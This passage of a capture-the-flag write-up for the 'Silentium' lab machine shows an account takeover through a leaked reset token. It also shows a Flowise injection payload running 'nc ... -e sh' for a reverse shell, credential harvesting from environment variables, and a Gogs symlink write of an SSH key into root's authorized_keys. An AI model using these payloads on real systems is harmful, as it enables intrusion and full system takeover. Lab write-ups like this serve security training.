<p>I’ll first create a <code class="language-plaintext highlighter-rouge">POST</code> request against the <code class="language-plaintext highlighter-rouge">forgot-password</code> endpoint with a non-existent email.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/api/v1/account/forgot-password</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">staging.silentium.htb</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">application/json, text/plain, */*</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">x-request-from</span><span class="p">:</span> <span class="s">internal</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">42</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://staging.silentium.htb</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://staging.silentium.htb/forgot-password</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0</span>

<span class="p">{</span><span class="nl">"user"</span><span class="p">:{</span><span class="nl">"email"</span><span class="p">:</span><span class="s2">"w1ld@0xw1ld.github.io"</span><span class="p">}}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll then use this with <code class="language-plaintext highlighter-rouge">FFUF</code> changing the <code class="language-plaintext highlighter-rouge">email</code> to <code class="language-plaintext highlighter-rouge">FUZZ@silentium.htb</code> so I can run through all the possible usernames that were generated</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>ffuf <span class="nt">-request</span> forgot-password.txt <span class="nt">-request-proto</span> http <span class="nt">-w</span> ./usernames.txt <span class="nt">-mc</span> all <span class="nt">-fc</span> 404,500 <span class="nt">-s</span>
ben
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Looks like we got a hit on <code class="language-plaintext highlighter-rouge">ben</code>, let’s take a look at the response of the <code class="language-plaintext highlighter-rouge">request</code>.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="rouge-code"><pre><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">201</span> <span class="ne">Created</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.24.0 (Ubuntu)</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Mon, 13 Apr 2026 09:06:24 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json; charset=utf-8</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">579</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
<span class="na">Access-Control-Allow-Origin</span><span class="p">:</span> <span class="s">http://staging.silentium.htb</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">Origin</span>
<span class="na">Access-Control-Allow-Credentials</span><span class="p">:</span> <span class="s">true</span>
<span class="na">ETag</span><span class="p">:</span> <span class="s">W/"243-URl9UjZmeOjL8e5VXyumjOvoJCo"</span>

<span class="p">{</span><span class="w">
    </span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"e26c9d6c-678c-4c10-9e36-01813e8fea73"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"admin"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ben@silentium.htb"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"credential"</span><span class="p">:</span><span class="w"> </span><span class="s2">"$2a$05$dNN9sCyyu5NBe7WAWEcP6O63yoiRBLIVB/7QniqG/sSFEtFbXdf8i"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"tempToken"</span><span class="p">:</span><span class="w"> </span><span class="s2">"yzH9VbhjJVU5ygZS7XAalPCKi7v318SGeFJdp81D2tMkTZL1EKg4JqHLPSKgDOBX"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"tokenExpiry"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2026-04-13T09:21:24.506Z"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"active"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"createdDate"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2026-01-29T20:14:57.000Z"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"updatedDate"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2026-04-13T09:06:24.000Z"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"createdBy"</span><span class="p">:</span><span class="w"> </span><span class="s2">"e26c9d6c-678c-4c10-9e36-01813e8fea73"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"updatedBy"</span><span class="p">:</span><span class="w"> </span><span class="s2">"e26c9d6c-678c-4c10-9e36-01813e8fea73"</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"organization"</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w">
    </span><span class="nl">"organizationUser"</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w">
    </span><span class="nl">"workspace"</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w">
    </span><span class="nl">"workspaceUser"</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w">
    </span><span class="nl">"role"</span><span class="p">:</span><span class="w"> </span><span class="p">{}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We can then immediately use this <code class="language-plaintext highlighter-rouge">tempToken</code> to reset our password with the following request.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/api/v1/account/reset-password</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">staging.silentium.htb</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">application/json, text/plain, */*</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">x-request-from</span><span class="p">:</span> <span class="s">internal</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">143</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://staging.silentium.htb</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://staging.silentium.htb/reset-password</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0</span>

<span class="p">{</span><span class="nl">"user"</span><span class="p">:{</span><span class="nl">"email"</span><span class="p">:</span><span class="s2">"ben@silentium.htb"</span><span class="p">,</span><span class="nl">"tempToken"</span><span class="p">:</span><span class="s2">"yzH9VbhjJVU5ygZS7XAalPCKi7v318SGeFJdp81D2tMkTZL1EKg4JqHLPSKgDOBX"</span><span class="p">,</span><span class="nl">"password"</span><span class="p">:</span><span class="s2">"P@ssword123"</span><span class="p">}}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We’re then able to login with the updated password.
![[assets/img/img_2026-09-12-silentium/6823b15533a30d7c44f7a190be4167e7_MD5.png]]</p>

<h2 id="flowise-rce">Flowise RCE</h2>
<p>We’re now able to exploit another <code class="language-plaintext highlighter-rouge">CVE</code> we would have found during our searching <a href="https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p">CVE-2025-59528</a> which allows us to execute arbitrary commands. So let’s start a listener.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>socat <span class="nt">-dd</span> TCP-LISTEN:9001,reuseaddr,fork -
2026/04/13 05:41:14 socat[63360] N listening on <span class="nv">AF</span><span class="o">=</span>2 0.0.0.0:9001
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After which I sent the following request.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/api/v1/node-load-method/customMCP</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">staging.silentium.htb</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">application/json, text/plain, */*</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">x-request-from</span><span class="p">:</span> <span class="s">internal</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">2328</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://staging.silentium.htb</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://staging.silentium.htb/canvas</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">connect.sid=s%3AKaIvBAQA3T6kvLU20GGaXlr4Tv0iV9PA.E05h%2B9o3HgcRB0M8ZKN%2B%2Bb%2Bkre0PNNOudf2JtbwXSKw; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImUyNmM5ZDZjLTY3OGMtNGMxMC05ZTM2LTAxODEzZThmZWE3MyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiYWE0M2Q2ZjIyN2I1YzViZjUwMGJiYTRkNTBkMDU2MzM6ZjY4ZWM4NjNiZDNlMmJkMzgyMWJlNmEwMzRkNGE5ZjZkZGM4ZDc4ZTU2NGRhMjVhNDc0YmIyN2MwYTEzODcyZDU5M2FhOGIxNjE2OTQ2MWE0N2RhODFkMDM5NjVlMjllNTI0MjQyNDU2ODQyNzMzMzc1YjU1MDI0ZmNkYzBiYTkzMjI2Yjk5N2MyYzQyYTE2YTNiZGI3YWU2Zjg5OWZkOCIsImlhdCI6MTc3NjA3MTMwOSwibmJmIjoxNzc2MDcxMzA5LCJleHAiOjE3NzYwOTI5MDksImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.ASVOaYlhMDyiNlLW7JC0SqruDbEeynH6Si8W38vfwM8; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImUyNmM5ZDZjLTY3OGMtNGMxMC05ZTM2LTAxODEzZThmZWE3MyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiNWNmNTk2YzcxZWFlOWE1MDdhYzVjZjg5NjJlMTE4Y2M6M2FlMjI2ZDc3MDU2NGI3ODMzM2M0MTYzMDcxOGU3MTE3NzQ0NTFjODY4ZTVlYzZiZWE4YTdlYWJhMmJkOWVjZDljMzUwMmI3Mjk1NzAzYzQwMjM1OGY2N2JhOTlmZjJkYWY0YzYwY2U3MTM2ZTE4NWUzZmRjYTdjZjQzODdhMGNlOTQ1YWI4Yzc2N2NlYjJhYzY0MmI3MmRkNmE0NmMyYiIsImlhdCI6MTc3NjA3MTMwOSwibmJmIjoxNzc2MDcxMzA5LCJleHAiOjE3Nzg2NjMzMDksImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.D8-jmoSG-778IM0iqMzRu7b_gutEBth8fNjszP-c_Cs</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0</span>

<span class="p">{</span><span class="w">
    </span><span class="nl">"loadMethod"</span><span class="p">:</span><span class="w"> </span><span class="s2">"listActions"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"inputs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"mcpServerConfig"</span><span class="p">:</span><span class="w"> </span><span class="s2">"({x:(function(){const cp = process.mainModule.require(</span><span class="se">\"</span><span class="s2">child_process</span><span class="se">\"</span><span class="s2">);cp.execSync(</span><span class="se">\"</span><span class="s2">nc 10.10.14.31 9001 -e sh</span><span class="se">\"</span><span class="s2">);return 1;})()})"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Which resulted in a call back in my listener!</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>2026/04/13 05:41:25 socat[63360] N accepting connection from <span class="nv">AF</span><span class="o">=</span>2 10.129.250.34:37471 on <span class="nv">AF</span><span class="o">=</span>2 10.10.14.31:9001
2026/04/13 05:41:25 socat[63360] N forked off child process 63456
2026/04/13 05:41:25 socat[63360] N listening on <span class="nv">AF</span><span class="o">=</span>2 0.0.0.0:9001
2026/04/13 05:41:25 socat[63456] N reading from and writing to stdio
2026/04/13 05:41:25 socat[63456] N starting data transfer loop with FDs <span class="o">[</span>6,6] and <span class="o">[</span>0,1]
<span class="nb">whoami
</span>root
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="ben-password-reuse">Ben Password Reuse</h2>
<p>Taking a look around we find we’re in a docker container with the presence of <code class="language-plaintext highlighter-rouge">.dockerenv</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre><span class="nb">ls</span> <span class="nt">-lash</span> 
total 68K    
   4.0K drwxr-xr-x    1 root     root        4.0K Apr 13 09:40 <span class="nb">.</span>
   4.0K drwxr-xr-x    1 root     root        4.0K Apr 13 09:40 ..
      0 <span class="nt">-rwxr-xr-x</span>    1 root     root           0 Apr  8 15:14 .dockerenv
   4.0K drwxr-xr-x    1 root     root        4.0K Jul 16  2025 bin
      0 drwxr-xr-x    5 root     root         340 Apr 13 08:24 dev
   4.0K drwxr-xr-x    1 root     root        4.0K Apr  8 15:14 etc
   4.0K drwxr-xr-x    1 root     root        4.0K Jul 16  2025 home
   4.0K drwxr-xr-x    1 root     root        4.0K Jul 15  2025 lib
   4.0K drwxr-xr-x    5 root     root        4.0K Jul 15  2025 media
   4.0K drwxr-xr-x    2 root     root        4.0K Jul 15  2025 mnt
   4.0K drwxr-xr-x    1 root     root        4.0K Jul 16  2025 opt
      0 dr-xr-xr-x  286 root     root           0 Apr 13 08:24 proc
   4.0K drwx------    1 root     root        4.0K Apr  8 09:41 root
   4.0K drwxr-xr-x    3 root     root        4.0K Jul 15  2025 run
   4.0K drwxr-xr-x    2 root     root        4.0K Jul 15  2025 sbin
   4.0K drwxr-xr-x    2 root     root        4.0K Jul 15  2025 srv
      0 dr-xr-xr-x   13 root     root           0 Apr 13 08:24 sys
   4.0K drwxrwxrwt    1 root     root        4.0K Apr 13 09:41 tmp
   8.0K drwxr-xr-x    1 root     root        4.0K Apr  8 09:41 usr
   4.0K drwxr-xr-x    1 root     root        4.0K Jul 15  2025 var
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Looking at our <code class="language-plaintext highlighter-rouge">env</code> we can find several <code class="language-plaintext highlighter-rouge">clear text credentials</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="rouge-code"><pre><span class="nb">env       
</span><span class="nv">FLOWISE_PASSWORD</span><span class="o">=</span>F1l3_d0ck3r
<span class="nv">ALLOW_UNAUTHORIZED_CERTS</span><span class="o">=</span><span class="nb">true
</span><span class="nv">NODE_VERSION</span><span class="o">=</span>20.19.4
<span class="nv">HOSTNAME</span><span class="o">=</span>c78c3cceb7ba
<span class="nv">YARN_VERSION</span><span class="o">=</span>1.22.22
<span class="nv">SMTP_PORT</span><span class="o">=</span>1025
<span class="nv">SHLVL</span><span class="o">=</span>3
<span class="nv">PORT</span><span class="o">=</span>3000
<span class="nv">HOME</span><span class="o">=</span>/root
<span class="nv">SENDER_EMAIL</span><span class="o">=</span>ben@silentium.htb
<span class="nv">PUPPETEER_EXECUTABLE_PATH</span><span class="o">=</span>/usr/bin/chromium-browser
<span class="nv">JWT_ISSUER</span><span class="o">=</span>ISSUER
<span class="nv">JWT_AUTH_TOKEN_SECRET</span><span class="o">=</span>AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
<span class="nv">LLM_PROVIDER</span><span class="o">=</span>nvidia-nim
<span class="nv">SMTP_USERNAME</span><span class="o">=</span><span class="nb">test
</span><span class="nv">SMTP_SECURE</span><span class="o">=</span><span class="nb">false
</span><span class="nv">JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES</span><span class="o">=</span>43200
<span class="nv">FLOWISE_USERNAME</span><span class="o">=</span>ben
<span class="nv">PATH</span><span class="o">=</span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
<span class="nv">DATABASE_PATH</span><span class="o">=</span>/root/.flowise
<span class="nv">JWT_TOKEN_EXPIRY_IN_MINUTES</span><span class="o">=</span>360
<span class="nv">JWT_AUDIENCE</span><span class="o">=</span>AUDIENCE
<span class="nv">SECRETKEY_PATH</span><span class="o">=</span>/root/.flowise
<span class="nv">PWD</span><span class="o">=</span>/
<span class="nv">SMTP_PASSWORD</span><span class="o">=[</span>REDACTED]
<span class="nv">NVIDIA_NIM_LLM_MODE</span><span class="o">=</span>managed
<span class="nv">SMTP_HOST</span><span class="o">=</span>mailhog
<span class="nv">JWT_REFRESH_TOKEN_SECRET</span><span class="o">=</span>AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
<span class="nv">SMTP_USER</span><span class="o">=</span><span class="nb">test</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>reusing the <code class="language-plaintext highlighter-rouge">SMTP_PASSWORD</code> we’re able to <code class="language-plaintext highlighter-rouge">SSH</code> onto the machine as <code class="language-plaintext highlighter-rouge">ben</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>ssh ben@silentium.htb                                                                                     
The authenticity of host <span class="s1">'silentium.htb (10.129.250.34)'</span> can<span class="s1">'t be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span>silentium.htb<span class="s1">' (ED25519) to the list of known hosts.
ben@silentium.htb'</span>s password: 
Welcome to Ubuntu 24.04.4 LTS <span class="o">(</span>GNU/Linux 6.8.0-107-generic x86_64<span class="o">)</span>

 <span class="k">*</span> Documentation:  https://help.ubuntu.com
 <span class="k">*</span> Management:     https://landscape.canonical.com
 <span class="k">*</span> Support:        https://ubuntu.com/pro

 System information as of Mon Apr 13 09:45:18 AM UTC 2026

  System load:           0.0
  Usage of /:            82.9% of 13.37GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             231
  Users logged <span class="k">in</span>:       0
  IPv4 address <span class="k">for </span>eth0: 10.129.250.34
  IPv6 address <span class="k">for </span>eth0: dead:beef::250:56ff:fe95:b129

  <span class="o">=&gt;</span> There are 4 zombie processes.


Expanded Security Maintenance <span class="k">for </span>Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Last login: Wed Apr  8 19:12:55 2026 from 10.10.14.5
ben@silentium:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lash</span>
total 28K
4.0K drwxr-x--- 3 ben  ben  4.0K Apr  8 19:53 <span class="nb">.</span>
4.0K drwxr-xr-x 3 root root 4.0K Apr  8 09:41 ..
   0 <span class="nt">-rw-------</span> 1 ben  ben     0 Apr  8 19:53 .bash_history
4.0K <span class="nt">-rw-r--r--</span> 1 ben  ben   220 Jan 29 13:53 .bash_logout
4.0K <span class="nt">-rw-r--r--</span> 1 ben  ben  3.7K Jan 29 13:53 .bashrc
4.0K drwx------ 2 ben  ben  4.0K Apr  8 09:41 .cache
4.0K <span class="nt">-rw-r--r--</span> 1 ben  ben   807 Jan 29 13:53 .profile
4.0K <span class="nt">-rw-r-----</span> 1 root ben    33 Apr 13 08:25 user.txt

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Just like that, we have User!</p>
<h1 id="root">Root</h1>
<h2 id="finding-local-services">Finding Local Services</h2>
<p>Taking a look around we can find several ports listening</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="rouge-code"><pre>ben@silentium:~<span class="nv">$ </span>netstat <span class="nt">-tlnp</span>
<span class="o">(</span>Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.<span class="o">)</span>
Active Internet connections <span class="o">(</span>only servers<span class="o">)</span>
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:43667         0.0.0.0:<span class="k">*</span>               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:<span class="k">*</span>               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:<span class="k">*</span>               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:<span class="k">*</span>               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:<span class="k">*</span>               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:<span class="k">*</span>               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:<span class="k">*</span>               LISTEN      -                   
tcp        0      0 127.0.0.1:8025          0.0.0.0:<span class="k">*</span>               LISTEN      -                   
tcp        0      0 127.0.0.1:1025          0.0.0.0:<span class="k">*</span>               LISTEN      -                   
tcp6       0      0 :::80                   :::<span class="k">*</span>                    LISTEN      -                   
tcp6       0      0 :::22                   :::<span class="k">*</span>                    LISTEN      -
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Doing some recon with <code class="language-plaintext highlighter-rouge">curl</code> and <code class="language-plaintext highlighter-rouge">nc</code> I’ve identified the most interesting one to be port <code class="language-plaintext highlighter-rouge">3001</code>. Which after forwarding to our local port we’re greeted by a <code class="language-plaintext highlighter-rouge">Gogs</code> git service.
![[assets/img/img_2026-09-12-silentium/8266d00ed73edecb03d0917b7df19572_MD5.png]]</p>

<p>As well as port <code class="language-plaintext highlighter-rouge">8025</code> which is <code class="language-plaintext highlighter-rouge">MailHog</code>
![[assets/img/img_2026-09-12-silentium/c2bfde523ea876f56bc1142f7b09939e_MD5.png]]</p>

<p>We’re unable to login or reset <code class="language-plaintext highlighter-rouge">ben</code>’s password on <code class="language-plaintext highlighter-rouge">Gogs</code>, however we are able to register and login.
![[assets/img/img_2026-09-12-silentium/64496abeebc053ef5af890dc4b6f4c59_MD5.png]]</p>

<h2 id="gogs-arbitrary-file-write-to-root-shell">GOGS arbitrary file write to Root Shell</h2>
<p>Taking a look around we can find another <code class="language-plaintext highlighter-rouge">CVE</code>: <a href="https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg">CVE-2024-55947</a> which was patched but had a new update in <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-8110">CVE-2025-8110</a>. So let’s setup and initialize a repository and clone it.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://staging-v2-code.dev.silentium.htb:3001/w1ld/w1ld.git
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Next let’s grab an <code class="language-plaintext highlighter-rouge">API token</code> from <code class="language-plaintext highlighter-rouge">/user/settings/applications</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>922eb1f7e0487578b537f6c00baad5de95a4d3a8
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s create the symlink, add the file, and push the changes.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="rouge-code"><pre>ben@silentium:/tmp/w1ld<span class="nv">$ </span><span class="nb">ln</span> <span class="nt">-s</span> /root/.ssh/authorized_keys keys
ben@silentium:/tmp/w1ld<span class="nv">$ </span>git add <span class="k">*</span>
ben@silentium:/tmp/w1ld<span class="nv">$ </span>git commit <span class="nt">-am</span> <span class="s1">'[w1ld] add keys'</span>
<span class="o">[</span>master 160ae1b] <span class="o">[</span>w1ld] add keys
 1 file changed, 1 insertion<span class="o">(</span>+<span class="o">)</span>, 1 deletion<span class="o">(</span>-<span class="o">)</span>
ben@silentium:/tmp/w1ld<span class="nv">$ </span>git push
Enumerating objects: 5, <span class="k">done</span><span class="nb">.</span>
Counting objects: 100% <span class="o">(</span>5/5<span class="o">)</span>, <span class="k">done</span><span class="nb">.</span>
Delta compression using up to 2 threads
Compressing objects: 100% <span class="o">(</span>2/2<span class="o">)</span>, <span class="k">done</span><span class="nb">.</span>
Writing objects: 100% <span class="o">(</span>3/3<span class="o">)</span>, 302 bytes | 302.00 KiB/s, <span class="k">done</span><span class="nb">.</span>
Total 3 <span class="o">(</span>delta 0<span class="o">)</span>, reused 0 <span class="o">(</span>delta 0<span class="o">)</span>, pack-reused 0
Username <span class="k">for</span> <span class="s1">'http://localhost:3001'</span>: w1ld
Password <span class="k">for</span> <span class="s1">'http://w1ld@localhost:3001'</span>: 
To http://localhost:3001/w1ld/w1ld.git
   b660a00..160ae1b  master -&gt; master
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Finally let’s send the request with the <code class="language-plaintext highlighter-rouge">base64</code> of our <code class="language-plaintext highlighter-rouge">public ssh key</code></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="nf">PUT</span> <span class="nn">/api/v1/repos/w1ld/w1ld/contents/keys</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">127.0.0.1:3001</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">Authorization</span><span class="p">:</span> <span class="s">token 922eb1f7e0487578b537f6c00baad5de95a4d3a8</span>

<span class="p">{</span><span class="nl">"message"</span><span class="p">:</span><span class="s2">"test"</span><span class="p">,</span><span class="nl">"content"</span><span class="p">:</span><span class="s2">"c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUxCREJWcllobEpmdE9HaEpzSGZSeDNBSXBHQWs0MnB0SUV1b2pERzlYMTUga2FsaUBrYWxpCg=="</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We should now be able to <code class="language-plaintext highlighter-rouge">ssh</code> onto <code class="language-plaintext highlighter-rouge">silentium</code> as root.</p>
